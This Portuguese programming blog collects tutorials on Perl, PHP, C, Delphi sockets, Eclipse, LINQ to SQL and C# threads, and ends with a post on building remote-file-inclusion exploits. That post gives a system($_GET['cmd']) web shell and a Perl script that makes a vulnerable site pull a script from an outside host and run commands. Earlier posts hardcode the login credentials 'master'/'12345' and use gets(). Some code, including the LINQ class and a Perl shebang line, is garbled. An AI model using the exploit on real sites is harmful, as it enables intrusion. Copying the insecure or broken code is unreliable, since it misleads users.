Mostrando postagens com marcador Programação. Mostrar todas as postagens
Mostrando postagens com marcador Programação. Mostrar todas as postagens

terça-feira, 28 de junho de 2011

Introdução à linguagem PERL

A sigla PERL significa "Practical Extraction And Report Language". Tal linguagem permite a criação de programas em ambientes UNIX, MSDOS, Windows, Macintosh, OS/2, e em outros sistemas operacionais.


Trata-se de uma linguagem que possui funções muito eficientes para manipulação de textos, o que a torna muito popular para programação de formulários WWW, além de ser muito utilizada em tarefas administrativas de sistemas UNIX, onde a linguagem nasceu e cresceu.


A linguagem PERL está sendo amplamente utilizada por ser rápida, eficiente e de fácil manutenção na programação de uma ampla faixa de tarefas, particularmente aquelas que envolvem manipulação de arquivos de texto. Além disso, existem muitos programadores de PERL compartilhando seus códigos abertamente.


Um exemplo da aplicação prática da linguagem PERL envolve a manipulação de arquivos ASCII, principalmente as páginas de Internet que se modificam dependendo de dados fornecidos pelo usuário. Um pequeno código PERL é capaz de realizar muitas ações.


Em termos de linguagem de programação, isso geralmente significa que o código será difícil de ler e penoso de escrever. Mas, embora Larry Wall - autor da PERL - afirme que a linguagem seja mais funcional do que elegante, a maioria dos programadores rapidamente descobre que o código PERL é muito legível. Podemos dizer, portanto, que uma das grandes qualidades da linguagem PERL é unir eficiência à disponibilidade de utilização.


Muitos questionam se os programas em PERL são compilados ou interpretados. De fato, a PERL é um pouco especial a esse respeito, podendo-se dizer informalmente que existe um compilador que pensa ser um interpretador. Existe um estágio de otimização em que o código de programa é compilado e transformado em código executável para que a linguagem seja realmente eficiente.


Entretanto, ela não grava esse código em um arquivo executável separado. Ao invés disso o código executável apenas é copiado pra memória, sendo depois utilizado. Isso significa que a PERL combina o ciclo de desenvolvimento rápido de uma linguagem interpretada com a execução eficiente de um código compilado. Essa necessidade de se compilar o código cada vez que o programa é executado é uma desvantagem, entretanto isso faz com que os desenvolvedores sejam obrigados a distribuir sempre seus códigos-fonte para os usuários.


De qualquer maneira, a fase de compilação é muito rápida, sendo possível que nem se note uma demora entre a ativação do script PERL e o início da execução. Em síntese, decidiu-se pela utilização dessa linguagem na implementação deste projeto principalmente por sua extrema capacidade em manipular arquivos de texto e pela boa interação que possui com a Internet, recursos que se sobressaem às possíveis desvantagens citadas.

Desenvolvimento WAP com PHP

Este artigo foi o objeto principal de um curso realizado em Brasília para os servidores públicos federais pelo Ministério da Saúde e o ITI (Instituto Nacional de Tecnologia da Informação)
Está em formato PDF.

Artigo

Autenticação de usuário e senha em PHP

Abaixo escrevi uma rotina simples para verificar se o nome e senha do usuário são válidos.
Caso sejam válidos, a página mostra o conteúdo restrito.
Caso os dados informados sejam inválidos, a página chama uma outra página mostrando falha de autenticação (um arquivo simples em formato html informando dados incorretos).

1)Crie um arquivo chamado verifica.php
contendo o código abaixo:


if (($usuario=="master") && ($senha=="12345"))
{
?>

// aqui mostra o conteúdo restrito


//caso o usuário e senha sejam inválidos, o código abaixo mostra
a página contendo erro de autenticação
}
else {
?>

}
?>


Pronto. Está criado uma rotina de autenticação para usuário. Caso deseje efetuar cadastros de usuários e senhas, aconselho utilizar um banco de dados, sugiro o MySQL, pois é free e atende muito bem as características do Php.

Bom estudos,
um grande abraço,

Autor: Reiner Franthesco Perozzo

Utilizando uniões em C

Como sabemos, costuma-se utilizar estruturas (struct) para armazenar informações relacionadas. Quando você cria uma estrutura o programa armaneza espaço em memória suficiente para conter todos os dados daquela estrutura. No entanto, algumas vezes você pode querer usar apenas um dado de cada estrutura.

Por exemplo: numa estrutura que indica horas trabalhadas (para funcionários de escritório) e produção (para empregados que ganham por comição) você vai utilizar apenas um dado da estrutura, ou ele é funcionário de escritório ou de produção. Utilizando o operador union você faz com que o programa armazena espaço suficiente para o maior dado, pois somente será armazenado um. Com isso você economiza bastante recurso de memória.

É bom deixar claro que esse recurso somente é válido quando você armazena apenas um dado na estrutura. O exemplo abaixo mostra os dados de um empregado
union escricao {
int numerocrea;
int numerocgc;
int numerooab;
}

Listas duplamente encadeada, circular e ordenada

/* montagem de uma lista duplamente encadeada e circular */
/* podendo ser ordenada ou de inserção ao final com o o uso da função insere('M') ou insere('F') */

#include
#include
#include

typedef struct nodo{
char nome[30];
char fone[15];
struct nodo *anterior, *proximo;
}lista;

lista *primeiro, *atual, *anterior, *proximo, *gravar;

void insere(char tipo){

if(primeiro == NULL){
primeiro = malloc(sizeof(lista));
primeiro->proximo = gravar;
primeiro->anterior = gravar;
gravar->anterior = primeiro;
gravar->proximo = primeiro;
}
else{
if(tipo == 'M'){
atual = primeiro->proximo;

while(strcmp(gravar->nome,atual->nome) > 0){
if(atual != primeiro)
atual = atual->proximo;
else
break;
}
anterior = atual->anterior;

proximo = atual; /* o endereço de atual vai para proximo */

anterior->proximo = gravar; /* Os dados contidos em "gravar" serão inseridos entre */
gravar->anterior = anterior; /* as os nodos referencia "anterior" e "proximo" */
gravar->proximo = proximo;
proximo->anterior = gravar;
}
if(tipo == 'F'){
anterior = primeiro->anterior;
proximo = primeiro;

anterior->proximo = gravar; /* Os dados contidos em "gravar" serão inseridos entre */
gravar->anterior = anterior; /* as os nodos referencia "anterior" e "proximo" */
gravar->proximo = proximo;
proximo->anterior = gravar;
}
}
}

void NovoReg(void){
system("cls");

gravar = malloc(sizeof(lista));

printf("Nome: ");
gets(gravar->nome);
printf("\nFone: ");
gets(gravar->fone);


insere('M'); /* chamada do procedimento de inserção */
/* 'M' corresponde a inserção no meio ( acarretando em encadeamento ordenado) e */
/* 'F' corresponde a inserção no fim */

printf("\nSeu registro foi incluido!\n\n");
system("pause");
}

void listar(void){
char op;

if(primeiro == NULL){
system("cls");
printf("Nenhum registro armazenado...\n\n");
system("pause");
return;
}
else{

atual = primeiro->proximo;

do{
system("cls");

printf("Pressione + e - para alternar entre os registros e para sair.\n\n");

printf("Nome: %s\n\nFone: %s\n",atual->nome,atual->fone);

op = getch();

switch (op){
case 43:{
if (atual->proximo == primeiro)
atual = primeiro->proximo;
else
atual = atual->proximo;
break;
}
case 45:{
if(atual->anterior == primeiro)
atual = primeiro->anterior;
else
atual = atual->anterior;
}
}

}while(op != 27);
}
}

void excluir(void){
char op;

if(primeiro == NULL){
system("cls");
printf("Nenhum registro armazenado...\n\n");
system("pause");
return;
}
else{

atual = primeiro->proximo;

do{
system("cls");

printf("Pressione + e - para alternar entre os registros, sair e confirmar\n\n");

printf("Nome: %s\n\nFone: %s\n",atual->nome,atual->fone);

op = getch();

switch (op){
case 43:{
if (atual->proximo == primeiro)
atual = primeiro->proximo;
else
atual = atual->proximo;
break;
}
case 45:{
if(atual->anterior == primeiro)
atual = primeiro->anterior;
else
atual = atual->anterior;
}
}

}while((op != 27) && (op != 13));
}

if(op == 27)
return;

printf("\n\nVoce confirma a exclusao deste registro (S/N): [ ]\b\b");
op = getch();

if (op >= 97)
op -= 32;

if(op == 'S'){
anterior = atual->anterior;
proximo = atual->proximo;

anterior->proximo = proximo;
proximo->anterior = anterior;

free(atual);

if (primeiro == primeiro->proximo) /* se for excluido o penultimo registro, sobrando apenas o registro "primeiro" */
primeiro = NULL; /* que não é util para nós, o primeiro tambem será liberado */
printf("\n\nRegistro excluido com sucesso!\n\n");
system("pause");

}
else
return;

}

int main(void){
char escolha;

do{
system("cls");

printf("I - Inclui\nC - Consulta\nE - Exclui\n - Sair\n\nEscolha[ ]\b\b");
escolha = getch();

if(escolha >= 97)
escolha -= 32;

if(escolha == 'I')
NovoReg();
if(escolha == 'C')
listar();
if(escolha == 'E')
excluir();

}while(escolha != 27);

return 0;
}

Menu em C com switch

Nesse tutorial, você irá aprender a utilizar menus, com a função swicth.
O switch é um comando de tomada de decisão. O switch pode ser comparado com o if-else, porém o primeiro não aceita expressões, apenas variáveis. O switch testa a variável e executa a declaração cujo case corresponda ao valor atual da variável. A declaração default é opcional e será executada apenas se a variável, que está sendo testada, não for igual a nenhuma das constantes. O comando break, faz com que o switch seja interrompido assim que uma das declarações seja executada. Mas ele não é essencial ao comando switch. Se após a execução da declaração não houver um break, o programa continuará executando.O comando continue pode ser visto como sendo o oposto do break. Ele só funciona dentro de um loop. Quando o comando continue é encontrado, o loop pula para a próxima iteração, sem o abandono do loop, ao contrário do que acontecia no comando break.

Alguns comentários foram feitos dentro do programa:


#include conio.h
#include stdio.h
void main()
{

int escolha=1;

// se a escolha for diferente de 5, ele continua... o que inicialmente é verdade
// pois escolha é igual a 1
while (escolha!=5)
{

printf("\n\n ----------------------- ");

printf("\n 1 - Opcao 1 ");
printf("\n 2 - Opcao 2 ");
printf("\n 3 - Opcao 3 ");
printf("\n 4 - Opcao 4 ");
printf("\n 5 - Fechar Programa ");
printf("\n\n Escolha uma opcao: ");
scanf("%d",&escolha);


// estrutura switch
switch (escolha) {

case 1:
{

// a função clrscr(); é para limpar a tela
clrscr();
printf("\n\n Opcao escolhida: 1 ");

break;
}

case 2:
{
clrscr();
printf("\n\n Opcao escolhida: 2 ");
break;
}

case 3:
{
clrscr();
printf("\n\n Opcao escolhida: 3 ");
break;
}

case 4:
{
clrscr();
printf("\n\n Opcao escolhida: 4 ");
break;
}

// opção padrão
default:
{
clrscr();

// se for escolhida a opção 5, ele pula o while utilizando continue para isso
if( escolha==5)
{
continue;
}
// caso o usuário digite um numero acima de 5, ele irá informar que nao existe essa opção
printf("\n\n Nenhuma opcao foi escolhida ");
break;
}

}

}

if( escolha==5)
printf("\n\n O Programa foi fechado");

getch();

}

quarta-feira, 23 de março de 2011

Enviando dados via socket's

Bom, neste tópico prentendo explicar, de forma bem simples, como enviar diversos tipos de dados via socket. Os dados que eu vou citar aqui serão: arquivos e blocos de memória. Não vou comentar sobre texto pois não é esse o foco, considerando que texto é mais facil de ser tratado...

1) O QUE É STREAM?

Stream, como o próprio nome sugere, é um fluxo de dados. Esse fluxo é linear, portanto contém um início e um fim e, a partir que o pc o lê, ele "navega" entre esse fluxo, mudando sua posição nessa "linha" de dados. Existem alguns tipos específicos de streams, mas os que iremos utilizar é o TMemoryStream. Poderíamos utilizar também o TFileStream, mas como o TMemoryStream é mais genérico acho que ele está de bom tamanho para aprendizagem ;D


2) ENTENDENDO A LÓGICA DE ENVIO

Bom, antes de começar a por a mão na massa vamos tentar entender por cima COMO vai funcionar esse envio. É capaz que algumas pessoas se percam nessa explicação por ser muito abstrata, mas não pulem essa parte, mesmo que não entendam por completo, pois senão, na hora do código vocês podem se deparar com uma lógica e não entender o por quê dela.

Primeiramente, o socket não envia toda a informação de uma vez, portanto para enviar um único stream, o evento onRead será ativado diversas vezes. Mas se tudo isso não será constante, como escrever tudo num stream só?? Como saber quando ja acabou um stream e começou o outro??

Como vocês podem imaginar, será necessário declarar uma variavel global TMemoryStream para que se junte toda a informação que vem dividida num stream só. Para saber quando acaba um stream é necessário o seguinte procedimento: primeiro é enviado o TAMANHO desse stream (em bytes) e só depois se envia o stream em si. Logo, no onRead, será necessário apenas checar o tamanho do stream que ja está escrito na memória com o tamanho recebido... Usaremos também uma variável global BOOLEAN, para verificar se o socket ja está recebendo o stream ou não, justamente para saber se vai receber o tamanho dele ou ele em si...

Bom, é basicamente assim que vamos transferir dados via socket... Neste exemplo eu vou mandar uma foto do ServerSocket para o ClientSocket... Adivinhem que foto será essa... Exato, uma screenshot da tela. Esse procedimento é utilizado em remote desktop, mas o foco aqui é apenas o envio de informação...


3) BOTANDO A MÃO NA MASSA

Bom, primeiro vamos fazer o Server que vai enviar a foto, que é mais simples... No Form coloquem apenas um ServerSocket. Vamos adicionar uma variável global TMemoryStream chamada Stream, para ser utilizada no envio.

Agora temos que colocar a função que tira a foto em si... Reparem que eu vou convertê-la para jpg para ficar menor e o envio demorar menos, portanto ponham no USES "jpeg"...

Código PHP:
function GetScreenShot: TJPEGImage;
var
Desktop: HDC;
bmp: TBitmap;
begin
Result
:=TJPEGImage.Create;
bmp := TBitmap.Create;
Desktop := GetDC(0);
try
try
bmp.PixelFormat := pf32bit;
bmp.Width := Screen.Width;
bmp.Height := Screen.Height;
BitBlt(bmp.Canvas.Handle, 0, 0, bmp.Width, bmp.Height, Desktop, 0, 0, SRCCOPY);
bmp.Modified := True;
Result.Assign(bmp);
finally
ReleaseDC
(0, Desktop);
end;
except
bmp
.Free;
bmp := nil;
Result.Free;
Result:=nil;
end;
end;
**código adaptado do torry.net**

Agora temos que especificar QUANDO o server vai começar a enviar a foto né? Vamos fazê-lo enviar quando o cliente pedir pelo comando "mandafoto". Portanto temos que adicionar uma rotina de verificação no onClientRead e, se o texto recebido for "mandafoto", ele cria o Stream, salva a foto numa variavel TJpegImage, salva essa TJpegImage pro stream, envia o tamanho do stream e, finalmente, envia o stream...

Código: Selecionar tudo

Código PHP:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s: string;
Stream: TMemoryStream;
jpg: TJPEGImage;
begin
s
:=Socket.ReceiveText;
if
s = 'mandafoto' then
begin
Stream
:=TMemoryStream.Create;
jpg:=TJPEGImage.Create;
jpg:=GetScreenShot;
jpg.SaveToStream(Stream);
Stream.Position:=0;
Socket.SendText(inttostr(Stream.Size) + #0);
Socket.SendStream(Stream);
end;
end;
Notem que eu usei o null-terminator (#0) ao fim do tamanho do stream apenas como um controle para o Client, pois mesmo os textos podem ir cortados por socket...

Pronto, o Server ja está pronto, agora vamos aprender a fazer o Cliente.

Criem uma nova aplicação e coloque no form um ScrollBox (na aba Additional), uma Image DENTRO desse Scrollbox, um ClientSocket e um botão. Agora declares as seguintes variáveis globais:

Código PHP:
stSize: integer;
Stream: TMemoryStream;
Receiving: boolean;
jpg: TJpegImage;
Como ja expliquei pra que elas servem ali emcima, não vou ficar me detendo aqui... Agora, vamos fazer o Botao pedir a imagem pro Server. Para isso o Cliente deve mandar o comando "mandafoto", como já foi pré-estabelecido no Server...

Código PHP:
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1
.Socket.SendText('mandafoto');
end;
Agora só falta o onRead do cliente... Antes de postar o código gostaria de que o stream, para ser utilizado corretamente, sua Position deve estar 0 (pois como disse antes, a leitura do fluxo de dados vai começar do começo). Agora, já explicado como funciona o cliente, vamos ao código:

Código PHP:
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
s: string;
begin
s
:=Socket.ReceiveText;
if
not Receiving then
begin
if pos(#0,s) > 0 then
stSize:=strtoint(copy(s,1,pos(#0,s)-1))
else
exit;
Stream:=TMemoryStream.Create;
Receiving:=True;
delete(s,1,pos(#0,s));
end;
try
Stream.Write(s[1],length(s));
if
Stream.Size = stSize then
begin
Stream
.Position:=0;
Receiving:=False;
jpg:=TJPEGImage.Create;
jpg.LoadFromStream(Stream);
Image1.Picture.Assign(jpg);
Stream.Free;
end;
except
Stream
.Free;
end;
end;
Pronto!! Rodem os programas e testem... Qualquer dúvida postem aqui!!

PS: Lembrando que ao invés de uma imagem, poderia ser utilizado qualquer outro tipo de dados, como um arquivo, apenas utilizem Stream.LoadFromFile('ashdauhsdua.exe'); E lembrem-se que para poder abrir o arquivo é necessário liberar o stream da memória!!

Eclipse SDK 3.1

O Eclipse é um ambiente de desenvolvimento para múltiplas linguagens e plataformas. Era inicialmente um produto da IBM, que depois teve seu código-fonte liberado. Hoje, o desenvolvimento é coordenado por uma fundação. Tem implementações que rodam em Linux, HP-UX, AIX, Solaris, QNX, Mac OS X e Windows.

Link para download: http://www.eclipse.org/downloads/

Programando em C/C++ no Eclipse

Como todos sabem, o Eclipse é uma excelente IDE para se programar em Java (se não sabe, agora está sabendo).

Mas o Eclipse não se restringe somente ao ambiente Java. Com esta ferramenta também é possível programar em Python, C/C++ e até Cobol, bastando somente ter instalado o plugin adequado.

A maneira mais simples que encontrei de instalar o plugin C/C++ no Eclipse descrevo abaixo (nota: no momento em que escrevo, a versão mais atual do Eclipse é o ganymede):
  1. Com o Eclipse já aberto, navegue até o menu Help;
  2. Clique em Softwares Updates;
  3. Irá surgir uma Janela. Então navegue até a guia "Available Software";
  4. Em seguida, clique na setinha atrás de onde está escrito "Ganymede";
  5. Surgirão diversas opções. Selecione "C and C++ Development".
Por fim, agora é esperar o Eclipse efetuar os downloads necessários. Reinicie-o a seguir e pronto, você já está apto a desenvolver programas em C/C++.

Somente uma observação importante: é necessário ter instalado um compilador C/C++ na máquina. No Linux tem-se o gcc, no Windows pode ser o MinGW, Visual C/C++ ou qualquer outro. Fica a critério.

sábado, 5 de março de 2011

C# - Usando LINQ to SQL (o retorno)

Este artigo mostra como usar os recursos do LINQ to SQL em uma aplicação Windows Forms. Ele foi baseado no artigo de autoria de Scott Lysle.

Embora o Entity Framework tenha chegado para praticamente substituir o LINQ to SQL com muitas vantagens, o LINQ to SQL ainda pode ser considerado com uma alternativa viável para agilizar o desenvolvimento de aplicações com acesso a dados.

O objetivo do artigo é mostrar como acessar tabelas, consultas e stored procedures de um banco de dados SQL Server (o LINQ to SQL só funciona com ele) e também como realizar operações de alteração, inclusão e exclusão de dados.

Para o exemplo do artigo eu vou usar o banco de dados Northwind.mdf e a ferramenta Visual C# 2008 Express Edition.

A estrutura do banco de dados Northwind.mdf, exibindo suas tabelas, Views e Stored Procedures é exibida na figura abaixo:

Vamos criar uma aplicação Windows Forms e exibir contendo três formulários:

  • form1.cs - Onde iremos exibir as tabelas, consultas e stored procedures em um componente DataGridView;
  • form2.cs - Onde iremos incluir/alterar um cliente;
  • form3.cs - Onde iremos excluir um cliente.

01. O formulário form1.cs irá exibir o resultado das consultas às tabelas, querys e stored procedures em um controle DataGridView e deverá possuir um menu criado via controle MenuStrip conforme o leiaute abaixo:

Para cada item do menu vamos definir sub-itens conforme as figuras a seguir:

a. Consultas

b. Movimento

02. O formulário form2.cs é exibido na figura abaixo e apresenta os controles Label e TextBox para realizar a alteração/inclusão na tabela Customer:

03. O formulário form3.cs, da figura abaixo, é usado para excluir um registro da tabela Customer e possui o controle Label, TextBox e Button:

Criando o DataContext e as classes com o código LINQ to SQL

Agora vamos criar a infraestrutura usando classes onde devemos criar o código usando LINQ to SQL. Antes, devemos realizar o mapeamento objeto relacional para gerar as classes a partir das tabelas do Northwind.

No menu Project -> Add New Item , selecione o template LINQ to SQL Classes, informe o nome Northwind.dbml e clique em Add.

A seguir, arraste e solte, a partir da janela DataBase Explorer, as tabelas do Northwind para o descritor LINQ, a fim de gerar as classes com o mapeamento ORM. Devemos arrastar também as stored procedures Sales_by_Year e Ten_Most_Expensive_Products na painel de métodos do descritor, conforme a figura abaixo:

Com isso já temos todo o mapeamento objeto relacional gerado e já podemos trabalhar com as classes que representam as tabelas do nosso banco de dados.

Para isso eu poderia criar uma classe e nela definir os métodos para acessar as tabelas, consultas e stored procedures, e os métodos para realizar alteração e inclusão, mas vou fazer diferente: vou criar classes distintas para cada item. Assim, teremos as seguintes classes:

  • acessoLinqTabelas.cs

    - contém os métodos LINQ para acessar as tabelas retornando todos os dados da tabela. Irei retornar os dados para as seguintes tabelas: Customers,Employees, Orders, Categories e Products;

  • acessoLinqConsultas.cs - contém os métodos LINQ para acessar as consultas: Orders by ID, Orders and Details e Employees by ID;
  • acessoLinqStoreProcedure.cs - contém os métodos para acessar as stored procedures: Sales by Year, Ten Most Expensive Products;
  • acessoLinqCrud.cs - contém os métodos para realizar as operações de incluir, alterar e excluir registros da tabela Customers.

01. Criando a classe para acessar as tabelas

Vamos iniciar, então, criando a classe para acessar as tabelas selecionando no menu Project -> Add Class e informando o nome acessoLinqTabelas.cs;

A seguir, defina o código abaixo na classe:

using System;
using System.Collections.Generic;
using
System.Linq;
using System.Text;

namespace LinqToSQL_Cshp1
{

class acessoLinqTabelas
{
///

/// Obtem dados da tabela Customer
///
summary> obtem; <> return
}

///
/// Obtem dados da tabela
Employee
///
///

public static
System.Data.Linq.Table GetEmployeeTable()
{

NorthwindDataContext dc = new

NorthwindDataContext();
return dc.GetTable< return

}
///
/// Obtem dados da
tabela Order
///
///

public static
System.Data.Linq.Table GetOrderTable()
{

NorthwindDataContext dc = new

NorthwindDataContext();
return dc.GetTable< return

}
///
/// Obtem dados da
tabela Category
///
///

public static
System.Data.Linq.Table GetCategoryTable()
{

NorthwindDataContext dc = new

NorthwindDataContext();
return dc.GetTable< return

}
///
/// Obtem dados da
tabela Product
///
///

public static
System.Data.Linq.Table GetProductTable()
{

NorthwindDataContext dc = new

NorthwindDataContext();
return dc.GetTable< return

}
}
}

Programando threads em C#

Todo programa desenvolvido em C# possui uma thread. Esta é conhecida como thread principal. Muitos programas geralmente precisam realizar tarefas que levam um longo tempo. Se a thread principal do aplicativo for dedicada a isto, o aplicativo pode parar de responder até que a execução esteja concluída.

Para permitir que um aplicativo execute uma tarefa e continue a responder, ou para realizar várias tarefas ao mesmo tempo, podemos programar conceitos de multitarefa (multithreading).

Além de realizar processamento em segundo plano, é uma ótima maneira de melhorar o desempenho das tarefas do processador em computadores com vários processadores ou núcleos. Se um computador tem vários processadores ou vários núcleos em um único processador, ele pode executar múltiplas tarefas simultaneamente, mesmo que elas exijam tempo de processamento.

Portanto, acrescentar multitarefa em uma aplicação pode reduzir o tempo que leva para completar uma tarefa.

Criando uma thread simples

Existem várias formas de programarmos execução em segundo plano nos softwares que desenvolvemos. Uma delas é criar um método dentro da classe exclusivo para execução da tarefa em segundo plano e outro responsável pela chamada desta tarefa, como é demonstrado no código a seguir.

// C#
public class GerenciaThread
{

public void ChamarThread()
{
System.Threading.ThreadStart ts =
new System.Threading.ThreadStart(ExecutarThread);
System.Threading.Thread t =
new System.Threading.Thread(ts);
t.IsBackground = true;
t.Start();
}

private void ExecutarThread()
{
// Código a ser executado pela thread
}
}

Repare que no exemplo acima, o único método público dentro da classe ‘GerenciaThread’ é o ‘ChamarThread’. Coloquei desta forma para evitar que o método ‘ExecutarThread’ seja chamado em outros locais a não ser nesta mesma classe, e ,desta forma, permitir que o processo seja executado apenas através da thread em background.

Para iniciar o processamento em segundo plano, basta chamar o método ‘ChamarThread’.

// C#
GerenciaThread gt = new GerenciaThread();
gt.ChamarThread();

Passando parâmetros para a Thread - parte 01

Em algumas situações é necessário passar informações para a thread para serem usadas durante o processamento. Essa passagem de dados pode ser feita de várias maneiras. Uma delas é criar um construtor na classe que executa a thread permitindo um ou mais parâmetros. Ao criar a instância da classe, use este construtor e passe os parâmetros desejados.

Por exemplo, podemos executar logs de erros em threads em background. Mas para que o log seja armazenado em algum repositório, é necessário informar para a thread algumas informações como o erro ocorrido, onde ele ocorreu, etc. Usando o mesmo conceito do exemplo anterior, podemos colocar no construtor da classe ‘GerenciaThread’ os parâmetros necessários para gravação do log, como o código abaixo demonstra.

// C#
public class GerenciaLogErro
{
private Exception exception;

// Nome do projeto onde ocorreu o erro
private string strNomeProjeto;

// Nome da classe onde ocorreu o erro
private string strNomeClasse;

// Nome do método onde ocorreu o erro
private string strNomeMetodo;

public GerenciaLogErro(Exception _exception,
string _projeto,
string _classe,
string _metodo)
{
this.exception = _exception;
this.strNomeProjeto = _projeto;
this.strNomeClasse = _classe;
this.strNomeMetodo = _metodo;
}

public void ExecutarLogErro()
{
// Gravar Log no Repositório
// ou no Log de Eventos do Windows
}
}

public class LogErro
{
public void LogarErro(Exception exception,
string strNomeProjeto,
string strNomeClasse,
string strNomeMetodo)
{
GerenciaLogErro gle = new
GerenciaLogErro(exception,
strNomeProjeto,
strNomeClasse,
strNomeMetodo);

System.Threading.ThreadStart ts = new
System.Threading.ThreadStart(gle.ExecutarLogErro);
System.Threading.Thread t = new
System.Threading.Thread(ts);
t.IsBackground = true;
t.Start();
}
}

Repare que na classe ‘GerenciaLogErro’ foi criado um construtor que recebe 4 parâmetros, e esses parâmetros serão gravados no repositório para registro do Log.

A chamada para o método que executa o log pode ser feita conforme o código a seguir.

// C#
try
{
//Coloque aqui o código que deverá ser executado no método
Console.WriteLine(\"Esta é a Thread Principal\");
}

catch (Exception ex)
{
LogErro logErro = new LogErro();
logErro.LogarErro(ex,
\"ThreadPassingData\",
\"Program\", \"Main\");
}

Passando parâmetros para a Thread - parte 02

Outra forma de passar dados para a thread é criando uma classe que conterá propriedades que representarão os parâmetros que devem ser passados para a thread, como o código abaixo demonstra usando o mesmo exemplo de gerenciamento de logs.

// C#
public class DadosLog
{
public Exception Exception { get; set; }
public string StrNomeProjeto { get; set; }
public string StrNomeClasse { get; set; }
public string StrNomeMetodo { get; set; }
}

Em seguida, o método que executará o processo em segundo plano deve ter como parâmetro de entrada um object, que em seguida será convertido para o tipo DadosLog.

// C#
public void ExecutarLogErro(object _dadosLog)
{
DadosLog dadosLog = (_dadosLog as DadosLog);

// Gravar Log no Repositório ou no Log de Eventos do Windows
}

Para concluir, passamos a instância da classe DadosLog no método Start() no momento da chamada à thread. Veja:
// C#
public void LogarErro(Exception exception,
string strNomeProjeto,
string strNomeClasse,
string strNomeMetodo)
{
DadosLog dadosLog = new DadosLog()
{
Exception = exception,
StrNomeClasse = strNomeClasse,
StrNomeMetodo = strNomeMetodo,
StrNomeProjeto = strNomeProjeto
};

GerenciaLogErro gle = new GerenciaLogErro();
Thread t = new Thread(gle.ExecutarLogErro);
t.IsBackground = true;
t.Start(dadosLog);
}

Conclusão

Usar Threads é sempre vantajoso no ponto de vista de que podemos aproveitar o poder de processamento dos processadores que possuem mais de um núcleo, pois podemos programar para que cada thread tenha o seu processamento realizado por núcleos diferentes. Mas é sempre importante avaliar corretamente a utilização de threads, pois a concorrência poderá causar deadlocks e funcionamento incorreto de um procedimento.

Código fonte

Os códigos fontes podem ser baixados nos seguintes links:

quinta-feira, 16 de dezembro de 2010

Desenvolvimento de exploits para RFI

Como que acontece a inclusão de arquivos remotos (RFI)?

A função include() do PHP é usada para incluir arquivos.
Se essa função não for usada com cautela, um usuário mal-intencionado
poderá incluir scripts PHP e executar comandos arbitrários no sistema.

Exemplo de página vulnerável:

include($_GET['page']);

Irá incluir qualquer página/arquivo passada como page via GET

http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/imagem.gif

Nesse caso, o arquivo imagem.gif será incluido na página, mas… o que acontece
se ao invés de incluirmos imagens, passarmos a injetar um script PHP do tipo:

system($_GET['cmd']);

http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/script.txt&cmd=dir

A função system() executa comandos no sistema, no exemplo acima, o comando
executado será ‘dir’, e a resposta será algo parecido com:

O volume na unidade C não tem nome.
O número de série do volume é ABCD-EFGHPasta de C:\apache\htdocs 29/02/2008 22:43

29/02/2008 22:43
29/02/2008 22:43 31 vuln.php

Um exploit simples para essa vulnerabilidade pode ser construído usando a seguinte
estrutura:- (Site) + (Página vulnerável + variavel vulnerável) + (Link para o script malicioso) + (Comando Unix/Windows)

Exemplo:
http://www.site.com/vuln.php?inc=http://www.host-files.com/script.txt&cmd=dirSite: http://www.site.com/

Página vulnerável + variavel vulnerável: vuln.php?inc=
Script malicioso: http://www.host-files.com/script.txt

Comando: dir
Obs: o &cmd= em &cmd=dir pode variar dependendo do ’script malicioso’.

Exemplos:
—————————————————————————-

system($_GET['cmd']);


http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&cmd=qualquer coisa
—————————————————————————-

system($_GET['exec']);


http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&exec=qualquer coisa
—————————————————————————-

system($_GET['comando']);

http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&comando=qualquer coisa
—————————————————————————-

Vamos construir o exploit

Se site, link para o script malicioso, comando, arquivo e variável vulnerável foram passadas, então continua.
Caso contrário, informe ao usuário sobre o erro.

#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n";
print "Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n";
exit;
} ($site, $page, $script, $comando) = @ARGV;

Os parâmetros necessários são passados como 'argumentos'.
Se o total de argumentos passados para a execução do script for diferente de '4' então mostre a mensagem de erro.
Vamos padronizar o script malicioso como sendo:

system($_GET['cmd']);

então quando formos iniciar a requisição, colocaremos:

$argv_script = "&cmd=";

portanto, a página que devemos ‘visitar’ será

$pagina = $site.$page.$script.$argv_script.$comando;

Exemplo:

http://www.site.com/vulneravel.php?page=http://www.host.com/script-malicioso.txt&cmd=dir

Com o módulo LWP::Simple, podemos usar a função get() que baixa uma página
e retorna para uma variável qualquer.

$resposta = get($pagina);

e mostramos a saída do servidor web.

print $resposta;

O corpo do exploit está concluído, o exploit é:

#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n";
print "Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n";
exit;
}($site, $page, $script, $comando) = @ARGV;
$argv_script = "&cmd=";
$pagina = $site.$page.$script.$argv_script.$comando; $resposta = get($pagina);
print $resposta;
A array @ARGV contém os argumentos passados para o script.
($site, $page, $script, $comando) = @ARGV;

seria o mesmo que

$site = $ARGV[0];
$page = $ARGV[1];
$script = $ARGV[2];
$comando = $ARGV[3];

Melhorias estéticas podem ser feitas, como por exemplo o uso de .

#!/usr/bin/perl
use LWP::Simple; site:
print "Host (Ex.: www.site.com): ";
$site = ;
if($site eq "")
{
goto site;
}
if($site =~ /http:\/\//)
{
print 'Nao coloque http:// !'."\n";
goto site;
}
pagina:
print "Pag. vulneravel (Ex.: Colt7r/vulneravel.php?page=): ";
$page = ;
if($site eq "")
{
goto pagina;
}
script:
print "Script (Ex.: http://www.host-files.com/script.txt): ";
$script = ;
if($script eq "")
{
goto script;
}
if($script !~ /http:\/\//)
{
goto script;
}
print "Variavel para executar comandos (script)\n";
print 'Ex.: cmd = system($_GET[\'cmd\']): ';
$argv_script = ;
if(!$argv_script)
{
$argv_script = "cmd";
}
$argv_script = '&'.$argv_script.'=';
comando:
print "Comando: ";
$comando = ;
$pagina = $site.$page.$script.$argv_script.$comando;
